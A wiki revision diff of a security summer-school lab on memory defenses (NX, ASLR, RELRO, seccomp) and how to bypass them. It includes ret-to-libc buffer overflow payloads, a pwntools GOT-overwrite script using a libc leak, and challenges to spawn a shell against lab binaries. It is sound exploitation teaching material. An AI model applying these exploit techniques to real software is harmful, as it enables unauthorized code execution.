User Tools

Site Tools


session:10

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:10 [2020/07/08 11:04]
Liza-Elena BABU (78556)
session:10 [2020/07/19 12:49] (current)
Line 1: Line 1:
-= 0x09. Defense Mechanisms+====== 0x09. Defense Mechanisms ======
  
-== Resources+===== Resources =====
  
-[[http://security.cs.pub.ro/summer-school/res/slides/09-defense-mechanisms.pdf|Slides]]+[[http://security.cs.pub.ro/summer-school/res/slides/10-defense-mechanisms.pdf|Slides]]
  
-[[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|Activities archive]]+Get the tasks by cloning [[https://github.com/hexcellents/sss-exploit|Public GitHub Repository]].
  
-== Tutorials 
  
-The previous sessions ([[:session:07]] and [[:session:08]]) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from **any** memory segment belonging to the process. As you can recall from [[session:03]], different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization. Besides presenting the 2 mechanisms, we are also going to take a quick look at how can we bypass them. Since these protections are ubiquitous at this time, you will have to work around them almost every time you build a binary exploit.+===== Tutorials ===== 
 + 
 +The previous sessions ([[:session:07]] and [[:session:08]]) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from **any** memory segment belonging to the process. As you can recall from [[session:03]], different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization.  
 + 
 +In [[:session:09]] we discussed how the **PLT/GOT** work in relation to resolving addresses of functions from dynamically liked libraries. We also learned how to abuse this process and trigger arbitrary code execution by **corrupting GOT entries**. We will take this exploit primitive to the next level and explore how it can be used when additional defense mechanisms are in use. 
 + 
 +Next, we will introduce the **RELRO** mitigation, which is designed to preclude the overwriting of relocation sections such as the GOT. 
 + 
 +Another defense mechanism we will discuss in **seccomp**, which enables applications to enforce restrictions on the system calls performed in the process and child processes, thereby creating a sandbox. 
 + 
 +Besides presenting these mechanisms, we are also going to take a quick look at how can we bypass them. Since these protections are ubiquitous at this time, you will have to work around them almost every time you build a binary exploit.
  
 <note warning> <note warning>
Line 16: Line 25:
 </note> </note>
  
-=== Executable Space Protection+===== Tools ===== 
 + 
 +The **checksec** command-line tool is a wrapper over the functionality implemented in pwntools' ''pwnlib.elf.elf'' module. 
 + 
 +We will use this tool throughout the session to identify which defense mechanisms are enabled for a certain binary: 
 +<code bash> 
 +root@kali:~/demo/nx# checksec ./no_nx 
 +[*] '/root/demo/nx/no_nx' 
 +    Arch:     i386-32-little 
 +    RELRO:    Full RELRO 
 +    Stack:    No canary found 
 +    NX:       NX disabled 
 +    PIE:      PIE enabled 
 +    RWX:      Has RWX segments 
 +</code> 
 + 
 +<note warning> To get it to work in the Kali VM, you have to update pwntools to the latest version using: 
 +<code> 
 +$ pip install -U pwntools 
 +</code> 
 +</note> 
 + 
 + 
 +==== Executable Space Protection ====
  
 The **executable space protection** is an instance of the **principle of least privilege**, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time. The **executable space protection** is an instance of the **principle of least privilege**, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time.
Line 38: Line 70:
 There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http://marc.info/?l=openbsd-misc&m=105056000801065|W^X]], Red Hat [[http://www.redhat.com/magazine/009jul05/features/execshield/|Exec Shield]], PaX (which is now part of [[https://grsecurity.net/|grsecurity]]), Windows Data Execution Prevention ([[http://support.microsoft.com/kb/875352|DEP]]). There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http://marc.info/?l=openbsd-misc&m=105056000801065|W^X]], Red Hat [[http://www.redhat.com/magazine/009jul05/features/execshield/|Exec Shield]], PaX (which is now part of [[https://grsecurity.net/|grsecurity]]), Windows Data Execution Prevention ([[http://support.microsoft.com/kb/875352|DEP]]).
  
-==== Walk-through+=== Walk-through ===
  
 The Linux kernel provides support for managing memory protections in the ''%%mmap()%%'' and ''%%mprotect()%%'' syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution. The Linux kernel provides support for managing memory protections in the ''%%mmap()%%'' and ''%%mprotect()%%'' syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution.
Line 165: Line 197:
 </code> </code>
  
-==== Bypassing NX+=== Bypassing NX ===
  
 **ret-to-plt/libc.** You can return to the ''.plt'' section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak. **ret-to-plt/libc.** You can return to the ''.plt'' section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak.
Line 173: Line 205:
 **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section.
  
-=== Address Space Layout Randomization+==== Address Space Layout Randomization ====
  
 Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http://en.wikipedia.org/wiki/Position-independent_executable|PIE]] binaries. Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http://en.wikipedia.org/wiki/Position-independent_executable|PIE]] binaries.
Line 197: Line 229:
 We can easily demonstrate the effects on shared libraries by running ''ldd'' multiple times in a row on a binary such as ''/bin/ls''. We can easily demonstrate the effects on shared libraries by running ''ldd'' multiple times in a row on a binary such as ''/bin/ls''.
  
-==== PLT and GOT+In GDB, ASLR is disabled by default in order to reduce the non-determinism and make debugging easier. However, when developing exploits we will sometimes want to test them in conjunction with ASLR. To enable ASLR in GDB, use the following command:
  
-ASLR is not the only feature that prevents the compiler and the linker from solving some relocations before the binary is actually running. Shared libraries can also be combined in different ways, so the first time you actually know the address of a shared library is while the loader is running. The ASLR feature is orthogonal to this the loader could choose to assign address to libraries in a round-robin fashion, or could use ASLR to assign them randomly.+<code bash> 
 +gdb-peda$ set disable-randomization off 
 +</code>
  
-Of course, we might be inclined to have the loader simply fix all relocations in the code section after it loaded the libraries, but this breaks the memory access protection of the ''.text'' section, which should only be **readable** and **executable**.+==== Bypassing ASLR ====
  
-To solve this problems we need another level of indirection: all memory accessed to symbols located in shared libraries will read the actual address from a table, called **Global Offset Table (''.got'')**, at runtime. The loader will populate this table. Note that this can work both for data accesses, as well as for function calls, however function calls are actually using a small stub (i.e., a few instructionsstored in the **Procedure Linkage Table (''.plt'')**.+**Bruteforce.** If you are able to inject payloads multiple times without crashing the applicationyou can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times. 
 +Another thing to keep in mind is that, as addresses are randomized at load-time, child processes spawned with fork inherit the memory layout of the parent.
  
-The PLT is responsible of finding the shared library function address when it is first called (**lazy binding**), and writing it to GOT entry. Note that the function pointers are stored in ''.got.plt''). The following calls use the pre-resolved address.+Take the following scenario: we interact with vulnerable sever that handles connections by forking to another process. We manage to obtain a leak from a child process but we are not able to create an exploit chain that leads to arbitrary code executionHowever, we may still be able to use this leak in another connection, since the new process will have the same address space as the previous.
  
-Let's take quick look at the code generated for a shared library callYou can use any binary you like, we'll just show an example from one that simply calls ''puts()''.+**NOP sled.** In the case of shellcodes, longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address is randomizedThis is not very useful when we are interested in jumping to ''libc'' or other functions, which is usually the case if the executable space protection is also active.
  
-<code bash> +**jmp esp.** This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which was discussed in the previous session.
-~$ objdump -D -j .text -M intel hello | grep puts       +
-</code> +
-<code text> +
- 80483e4: e8 07 ff ff ff        call   80482f0 <puts@plt> +
-</code>+
  
-We can see that the ''.plt'' section will start at address ''0x080482e0''right where the previous call will jump:+**Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For exampleyou can decrease the initial stack size by setting a huge amount of dummy environment variables.
  
 +**Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 8 bits, the exploit is deterministic, as the base of the mapping is aligned to 0x1000. The offsets of ''read'' and ''write'' in ''libc6_2.27-3ubuntu1.2_i386'' are suitable for a partial overwrite:
 <code bash> <code bash>
-~readelf --sections hello+gdb-pedap read 
 +$1 = {<text variable, no debug info>} 0xe6dd0 <__GI___libc_read> 
 +gdb-peda$ p write 
 +$2 = {<text variable, no debug info>} 0xe6ea0 <__GI___libc_write>
 </code> </code>
 +However, since bits 12-16 of the offsets differ, the corresponding bits in the full addresses would have to be bruteforced (probability 1/4).
  
-<code text> +**Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of themYou can also dump parts of libraries (e.g., ''libc'') if you are able to create an exploit that reads themThis is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).
-... +
-  [12] .plt              PROGBITS        080482e0 0002e0 000040 04  AX  0   0 16 +
-..+
-</code>+
  
-Let's see how the code there looks like:+==== TutorialChaining Information Leaks with GOT Overwrite ====
  
-<code bash> +In this tutorial we will exploit a program that is similar to ''02-challenge-no-ret-control'' from the previous session: 
-~$ objdump --j .plt -M intel hello | grep -A 3 '<puts@plt>+<code c> 
-</code>+#include <stdio.h> 
 +#include <unistd.h>
  
-<code text> +int main() { 
-080482f0 <puts@plt>: + int *addr;
- 80482f0: ff 25 00 a0 04 08    jmp    DWORD PTR ds:0x804a000 +
- 80482f6: 68 00 00 00 00        push   0x0 +
- 80482fb: e9 e0 ff ff ff        jmp    80482e0 <_init+0x30> +
-</code>+
  
-We see it jumping to a pointer stored at ''0x804a000'' in the data section. Let'check the binary relocations for that location:+ printf("Here'a libc address0x%08x\n", printf);
  
-<code bash> + printf("Give me and address to modify!\n"); 
-~$ readelf --relocs hello + scanf("%p", &addr); 
-</code>+ 
 + printf("Give me a value!\n"); 
 + scanf("%u", addr); 
 + 
 + sleep(10);
  
-<code text> + printf("Abandon all hope ye who reach this...\n");  
-... +}
-Relocation section '.rel.plt' at offset 0x298 contains 3 entries: +
- Offset     Info    Type            Sym.Value  Sym. Name +
-0804a000  00000107 R_386_JUMP_SLOT   00000000   puts +
-...+
 </code> </code>
  
-Okgoodbut what is actually stored at this address initially?+The goal is to alter the execution flow and avoid reaching the final ''printf''. To this endwe will overwrite the ''sleep'' entry in GOT and redirect it to ''exit''. Howeverdue to ASLR, the value can not be hardcoded and must be computed at runtime.
  
 +Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the library. We can identify this build either by its BuildID (retrieved with the file command), or by its version string:
 <code bash> <code bash>
-~objdump --M intel -.got.plt --start-address=0x0804a000 hello+silvia@imladris:/sss/demoldd ./got_overwrite 
 +    linux-gate.so.1 (0xf7ee8000) 
 +    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ccc000) 
 +    /lib/ld-linux.so.2 (0xf7ee9000) 
 +silvia@imladris:/sss/demo$ file $(realpath /lib/i386-linux-gnu/libc.so.6) 
 +/lib/i386-linux-gnu/libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cf1599aa8b3cb35f79dcaea7a8b48704ecf42a19, for GNU/Linux 3.2.0, stripped 
 +silvia@imladris:/sss/demo$ strings /lib/i386-linux-gnu/libc.so.6 | grep "GLIBC " 
 +GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
 </code> </code>
  
-<code text> +Alternatively, if we don't have prior knowledge of the remote system where the binary runs, but obtain via an information leak some addresses, we may be able to identify the ''libc'' based on the last 3 nibbles of these addresses.
-hello:     file format elf32-i386+
  
-Contents of section .got.plt+For example, we have the following pair of addresses
- 804a000 f6820408 06830408 16830408           ............+<code> 
 +0xf7df6250 <__libc_system> 
 +0xf7e780e0 <__sleep>
 </code> </code>
 +We enter them in the [[https://libc.blukat.me/|libc database]] and get a match for the same ''libc'' build we determined earlier.
  
-We recognize ''f6820408'' (''0x80482f6'') as being the next instruction in the ''puts@plt'' stub that we disassembled above. Which then pushes 0 in the stack and calls ''0x80482e0''This is the call to the one-time resolverand it looks like this:+For this ''libc'', we obtain the offsets of the functions we are interested in using GDB: 
 +<code bash> 
 +silvia@imladris:/sss/demo$ gdb -q -n /lib/i386-linux-gnu/libc.so.
 +(gdb) p printf 
 +$1 = {<text variableno debug info>} 0x513a0 <__printf> 
 +(gdb) p exit 
 +$2 = {<text variable, no debug info>} 0x30420 <__GI_exit> 
 +</code>
  
 +We will also need the address of ''sleep@got'' (which is static because the binary is not position independent):
 <code bash> <code bash>
-~$ objdump --j .plt -M intel hello | grep -A 3 '080482e0'+silvia@imladris:/sss/demo$ objdump -d -M intel -j .plt ./got_overwrite | grep "sleep@plt" -A1 
 +080483b0 <sleep@plt>: 
 + 80483b0:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 </code> </code>
  
-<code text+We start the program and compute the address of exit based on the leak of printf (in another terminal): 
-080482e0 <puts@plt-0x10>: +<code bash
- 80482e0: ff 35 f8 9f 04 08    push   DWORD PTR ds:0x8049ff8 +>>> printf_offset = 0x513a0 
- 80482e6: ff 25 fc 9f 04 08    jmp    DWORD PTR ds:0x8049ffc +>>> exit_offset = 0x30420 
- 80482ec: 00 00                add    BYTE PTR [eax],al+>>> 0xf7dfb3a0 printf_offset + exit_offset 
 +4158497824 
 +</code
 +<code> 
 +silvia@imladris:/sss/demo$ ./got_overwrite 
 +Here's a libc address0xf7dfb3a0 
 +Give me and address to modify! 
 +0x804a00c 
 +Give me a value! 
 +4158497824 
 +silvia@imladris:/sss/demo$ echo $? 
 +10
 </code> </code>
  
-<note> +As we intended, the GOT entry corresponding to ''sleep'' was overwritten by ''exit'' and the program exited with code 10 without printing the final message.
-Going further into the resolver is left as an exercise. You can use GDB to inspect the address in ''0x8049ffc''and what happens when this jumps there. +
-</note>+
  
-What's going on here? What's actually happening is //lazy binding// — by convention when the dynamic linker loads a library, it will put an identifier and resolution function into known places in the GOT. Therefore, what happens is roughly this: on the first call of a function, it falls through to call the default stub, it simply jumps to the next instruction. The identifier is pushed on the stack, the dynamic linker is called, which at that point has enough information to figure out "hey, this program is trying to find the function foo". It will go ahead and find it, and then patch the address into the GOT such that the next time the original PLT entry is called, it will load the actual address of the function, rather than the lookup stub. Ingenious!+The following pwntools script automates this interaction: 
 +<code python> 
 +from pwn import *
  
-=== Bypassing ASLR+process('./got_overwrite'
 +libc ELF('/lib/i386-linux-gnu/libc.so.6')
  
-**Bruteforce.** If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times.+sleep_got = p.elf.got['sleep']
  
-**NOP sled.** In the case of shellcodes, a longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address is randomizedThis is not very useful when we are interested in jumping to ''libc'' or other functions, which is usually the case if the executable space protection is also active.+p.recvuntil('libc address:') 
 +libc_leak = int(p.recvuntil('\n')[:-1], 16) 
 +libc_base = libc_leak - libc.symbols['printf']
  
-**jmp esp.** This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which is going to be discussed in a following session.+print("Libc base is at: 0x%x" % libc_base)
  
-**Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables.+exit = libc_base + libc.symbols['exit']
  
-**Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., ''libc'') if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).+p.sendline(hex(sleep_got))
  
-=== Tools: ltrace+p.recvuntil('value!'
 +p.sendline(str(exit))
  
-We are going to use ''ltrace'' to catch library function invocations +p.interactive()
- +
-<code> +
-python -c 'print "MY_L33T_ATTACK_STR1NG"' | ltrace -i ./vulnbinary 2>&1+
 </code> </code>
  
-If you are more comfortable with another tool feel free to use it. Keep in mind that sometimes addresses change when you are using ''GDB''.+==== RELRO ====
  
-=== 00. Tutorial Bypass NX Stack with return-to-libc+**RELRO** (**Rel**ocation **R**ead-**O**nly) defends against attacks which overwrite data in relocation sections, such as the GOT-overwrite we showed earlier.
  
-Go to the ''01-tutorial-ret-to-libc/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+It comes in two flavors: partial and full. Partial RELRO protects the ''.init_array'', ''.fini_array'', ''.dynamic'' and ''.got'' sections (but NOT ''.got.plt''). Full RELRO additionally protects ''.got.plt'', rendering the GOT overwrite attack infeasible.
  
-In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process (on its stack) and redirect execution to itThis attack is easily defeated by making the stacktogether with any other memory page that can be modified, non-executableThis is achieved by setting the NX bit in the page table.+In the last session we explained how the addresses of dynamically linked functions are resolved using lazy bindingWhen Full RELRO is in effectthe addresses are resolved at load-time and then marked as read-onlyDue to the way address space protection works, this means that the .got resides in the read-only mapping, instead 
 +of the read-write mapping that contains the ''.bss''.
  
-We will try to bypass this protection for the ''01-tutorial-ret-to-libc/src/auth'' binary in the lab archiveBuild the auth program or use the already compiled oneFor now, disable ASLR in the a new shell:+This is not a game-over in terms of exploitation, as other overwriteable code pointers often existThese can be specific to the application we want to exploit or reside in shared libraries (for example: the GOT of shared libraries that are not compiled with RELRO)The return addresses on the stack are still viable targets.
  
-<code> +==== seccomp ====
-setarch $(uname -m) -R /bin/bash +
-</code>+
  
-Let's take look at the program headers and confirm that the stack is no longer executableWe only have read and write (RW) permissions for the stack area.+**seccomp** is mechanism though which an application may transition into a state where the system calls it performs are restricted. The policy, which may act on a whitelist or blacklist model, is described using [[https://lwn.net/Articles/593476/|eBPF]].
  
-<note important> +seccomp filters are instated using the ''prctl'' syscall (''PR_SET_SECCOMP''). Once it is in effectthe application will be effectively sandboxed and the restrictions will be inherited by child processes.
-The auth binary requires the ''libssl1.0.0:i386'' Debian package to work. Recompiling it requires ''libssl-dev:i386'', which might remove ''gcc''. So make sure you also install ''gcc'' afterwards.+
  
-You can find ''libssl1.0.0:i386'' Debian package [[https://packages.debian.org/jessie/i386/libssl1.0.0/download | here ]]. +This may severely limit our exploitation prospects in some casesIn the challenges that we have solved during these sessions, a common goal was spawning a shell and retrieving a certain file (the flag)If the exploited binary used a  seccomp filter that disallowed the ''execve'' syscall (used by the ''system'' library function), this would have thwarted our exploit.
-</note>+
  
 +The [[https://github.com/david942j/seccomp-tools|seccomp-tools suite]] provides tools for analyzing seccomp filters. The ''dump'' subcommand may be used to extract the filter from a binary at runtime and display it in a pseudocode format:
 <code bash> <code bash>
-checksec 1-random +silvia@imladris:/sss/demoseccomp-tools dump ./seccomp_example 
-    [...] + line  CODE  JT   JF      K 
-    NX:       NX enabled +================================= 
-    [...] + 0000: 0x20 0x00 0x00 0x00000004  A = arch 
-</code> + 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386goto 0011 
-For completeness, lets check that there is indeed a buffer (stackoverflow vulnerability. + 0002: 0x20 0x00 0x00 0x00000000  = sys_number 
-<code> + 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011 
-$ python -c 'print "A" * 1357' | ltrace -i ./auth + 0004: 0x15 0x06 0x00 0x00000077  if (== sigreturn) goto 0011 
-[0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...> + 00050x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011 
-[0x8048601] malloc(20)                                                                            0x0804b008 + 0006: 0x15 0x04 0x00 0x00000001  if (== exit) goto 0011 
-[0x80485df] puts("Enter password"Enter password:  + 0007: 0x15 0x03 0x00 0x00000005  if (== open) goto 0011 
-)                                                              17 + 0008: 0x15 0x02 0x00 0x00000003  if (A == readgoto 0011 
-[0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7)                        0xbfffee63 + 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011 
-[0x8048652] memset(0x0804b008, '\000', 20)                                                        0x0804b008 + 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38
-[0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x41000001                                      0x804b008 + 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
-[0x41414141] --- SIGSEGV (Segmentation fault--- +
-[0xffffffff] +++ killed by SIGSEGV ++++
 </code> </code>
  
-Check the source file - the buffer length is ''1337'' bytes. There should be a base pointer and the ''main()'''s return address just before it on the stack. There is also some alignment involvedbut we can easily try a few lengths to get the right position of the return address. Seems to be ''1337 + 16'' followed by the return address for this case. You canof coursedetermine the distance between the buffer's start address and the frame's return address exactly using ''objdump'', but we will leave that as an exercise.+In the example above we see a filter operating on the whitelist model: it specifies a subset of syscalls that are allowed: ''rt_sigreturn''''sigreturn'', ''exit_group'', ''exit'', ''open'', ''read'' and ''write''.
  
-We can now jump anywhere. Unfortunatelywe cannot put a shellcode in the buffer and jump into it because the stack is non-executable now. Lets try it with a few NOPs. Our buffer's address is ''0xbfffee63'' (see the ''gets()'' call).+<note tip> 
 +To install seccomp-tools on the Kali VMuse the the gem package manager:
 <code> <code>
-python -c 'print "\x90\x90\x90\x90" + "A" * 1349 + "\x63\xee\xff\xbf"' | ltrace -i ./auth +gem install seccomp-tools
-[0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...> +
-[0x8048601] malloc(20)                                                                            = 0x0804b008 +
-[0x80485df] puts("Enter password: "Enter password:  +
-)                                                              = 17 +
-[0x80485ea] gets(0xbfffee63, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7)                        = 0xbfffee63 +
-[0x8048652] memset(0x0804b008, '\000', 20)                                                        = 0x0804b008 +
-[0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x90000001)                                       = 0x804b008 +
-[0xbfffee63] --- SIGSEGV (Segmentation fault) --- +
-[0xffffffff] +++ killed by SIGSEGV ++++
 </code> </code>
-Oh, such a bummer! It didn't work. How about we try to jump to some existing code? +</note>
-<code> +
-$ objdump -d auth | grep -A 15 "<check_password>:" +
-080485ec <check_password>: +
- 80485ec: 55                    push   %ebp +
- 80485ed: 89 e5                mov    %esp,%ebp +
- 80485ef: 81 ec 58 05 00 00    sub    $0x558,%esp +
- 80485f5: c7 04 24 14 00 00 00 movl   $0x14,(%esp) +
- 80485fc: e8 9f fe ff ff        call   80484a0 <malloc@plt> +
- 8048601: a3 38 a0 04 08        mov    %eax,0x804a038 +
- 8048606: a1 38 a0 04 08        mov    0x804a038,%eax +
- 804860b: 85 c0                test   %eax,%eax +
- 804860d: 75 18                jne    8048627 <check_password+0x3b> +
- 804860f: c7 04 24 76 87 04 08 movl   $0x8048776,(%esp) +
- 8048616: e8 95 fe ff ff        call   80484b0 <puts@plt> +
- 804861b: c7 04 24 01 00 00 00 movl   $0x1,(%esp) +
- 8048622: e8 99 fe ff ff        call   80484c0 <exit@plt> +
- 8048627: 8d 85 bb fa ff ff    lea    -0x545(%ebp),%eax +
- 804862d: 89 04 24              mov    %eax,(%esp) +
-</code> +
-Lets try ''0x804860f'' such that we print the ''malloc'' failure message. +
-<code> +
-$ python -c 'print "A" * 1353 + "\x0f\x86\x04\x08"' | ltrace -i -e puts ./auth +
-[0x80485df] puts("Enter password: "Enter password:  +
-)                                                              = 17 +
-[0x804861b] puts("malloc failed"malloc failed +
-)                                                                 = 14 +
-[0xffffffff] +++ exited (status 1) ++++
  
-</code>+===== Challenges =====
  
-== Challenges+==== 01-04. Challenges - rwslotmachine[1-4] ====
  
-=== 01Challenge - ret-to-libc+All of the challenges in this section are intended to be solved with **ASLR enabled**However, you are free to disable it while developing your exploit for debugging purposes. You are provided with the needed shared libraries from the remote system.
  
-Looks good! Let's get serious and do something useful with this.+The challenges are based on the same //"application"//: the binaries expose very similar functionality with minimal implementation differences. Your job is to identify the defense mechanisms in use for each of them and bypass them in order to read a flag from the remote system.
  
-Continue working in the ''01-tutorial-ret-to-libc/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+They are numbered in the suggested solving order.
  
-The final goal of this task is to bypass the NX stack protection and call ''system("/bin/sh")''. We will start with a simple **ret-to-plt**: 
- 
-  - Display all ''libc'' functions linked with the ''auth'' binary. 
-  - Return to ''puts()''. Use ''ltrace'' to show that the call is actually being made. 
-  - Find the offset of the ''“malloc failed”'' static string in the binary. 
-  - Make the binary print ''"failed"'' the second time ''puts'' is called. 
-  - **(bonus)** The process should ''SEGFAULT'' after printing ''"Enter password:"'' again. Make it exit cleanly (the exit code does not matter, just no ''SIGSEGV''). You can move on to the next task without solving this problem. 
-  - Remember how we had ASLR disabled? The other ''libc'' functions are in the memory, you just need to find their addresses. Find the offset of ''system()'' in ''libc''. Find the offset of the ''"/bin/sh"'' string in ''libc''. 
-  - Where is ''libc'' linked in the ''auth'' binary? Compute the final addresses and call ''system("/bin/sh")'' just like you did with ''puts''. 
 <note important> <note important>
-//Hint//: Use ''LD_TRACE_LOADED_OBJECTS=1 ./auth'' instead of ''ldd''. The latter is not always reliable because the order in which it loads the libraries might be different than when you actually run the binary.+In the case of ''rwslotmachine4'', you will need the shared library ''libint.so''
 </note> </note>
  
 <note important> <note important>
-//Hint//: When you will finally attack this''stdin'' will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with ''stdin'' like this: ''cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary''+To set LD_LIBRARY_PATH from a pwntools scriptuse this method: 
-</note+<code python> 
- +process('./rwslotmachineX', env={'LD_LIBRARY_PATH' : '.'})
-=== 02. Challenge - no-ret-control +
- +
-Go to the ''02-challenge-no-ret-control/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]]. +
- +
-Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function. +
- +
-Alter the execution of ''force_exit'', in order to call the secret function. +
- +
-=== 03. Challenge - ret-to-plt +
- +
-Go to the ''03-challenge-ret-to-plt/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]]. +
- +
-''random'' is a small application that generates a random number. +
- +
-Your task is to build an exploit that makes the application always print the **same second random number**. That is the first printed random number is whatever, but the second printed random number will always be the same, for all runs. In the sample output below the second printed random number is always ''1023098942'' for all runs. +
- +
-<code text> +
-hari@solyaris-home:~$ python -c 'print <payload here>' | ./random +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 2070249950. Have fun with it! +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1023098942. Have fun with it! +
-Segmentation fault (core dumped) +
-hari@solyaris-home:~$ python -c 'print <payload here>' | ./random +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1152946153. Have fun with it! +
-Hi! Options: +
- 1. Get random number +
- 2. Go outside +
-Here's a random number: 1023098942. Have fun with it! +
 </code> </code>
-   
-You can use this Python skeleton for buffer overflow input: 
- 
-<file python skel.py> 
-#!/usr/bin/python 
-import struct, sys 
- 
-def dw(i): 
- return struct.pack("<I", i) 
- 
-#TODO update count for your prog 
-pad_count_to_ret = 100 
-payload = "X" * pad_count_to_ret 
- 
-#TODO figure out where to return 
-ret_addr = 0xdeadbeef 
-payload += dw(ret_addr) 
- 
- 
-#TODO add stuff after the payload if you need to 
-payload += "" 
- 
-sys.stdout.write(payload) 
-</file> 
- 
-**Bonus**: The process should SEGFAULT after printing the second (constant) number. Make it exit cleanly (the exit code does not matter, just no SIGSEGV). 
- 
-=== 04. Challenge - colors 
- 
-Go to the ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]]. 
- 
-<note important> 
-//Hint//: If you are going to use an inline python command, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: ''%%cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary%%'' 
 </note> </note>
  
-===== 04.a. +<note tip> 
- +//Hint//: Do not waste time on reverse engineering ''rwslotmachine3''! It is very similar to ''rwslotmachine2'', but operates on the client/server model.
-Exploit the ''colors'' binary and call ''system()''. Disregard the string parameter of ''system()'' for now. +
